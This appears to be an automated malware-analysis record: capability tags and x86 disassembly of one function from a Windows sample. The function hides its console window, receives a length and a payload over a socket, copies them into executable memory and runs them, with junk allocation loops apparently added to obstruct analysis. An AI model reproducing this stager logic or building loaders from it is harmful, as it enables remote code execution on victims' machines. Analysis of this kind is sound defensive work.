Function at 0x401986
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xbb74
call fcn.00402b60
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019e6
mov dword [esp], 0x2271
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xef8], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x3b6
jle 0x4019ca
call sym._QhyuiPQHurTNH
call sym._KMURypGMoxWl
mov dword [ebp - 0x3960], eax
mov dword [ebp - 0xc], 0
jmp 0x401a24
mov dword [esp], 0x2604
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x395c], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa98
jle 0x401a08
mov eax, dword [ebp - 0x3960]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a67
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a75
mov eax, dword [ebp - 0x3960]
mov dword [esp], eax
call sym._wUdnCuih
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401acb
call sym._GlaWPAqsqf
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xef8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x3b6
jle 0x401aac
cmp dword [ebp - 0x14], 0
jne 0x401ae8
mov eax, dword [ebp - 0x3960]
mov dword [esp], eax
call sym._wUdnCuih
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x3960]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b21
mov dword [esp], 0x25cd
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xbb5c], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x207e
jle 0x401b05
mov dword [ebp - 0xc], 0
jmp 0x401b52
call sym._nHQRNEPaNRu
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x395c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa98
jle 0x401b33
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x3960]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WFqLhYsGrbj
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bb2
call sym._KxDilAax
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xbb5c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x207e
jle 0x401b93
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret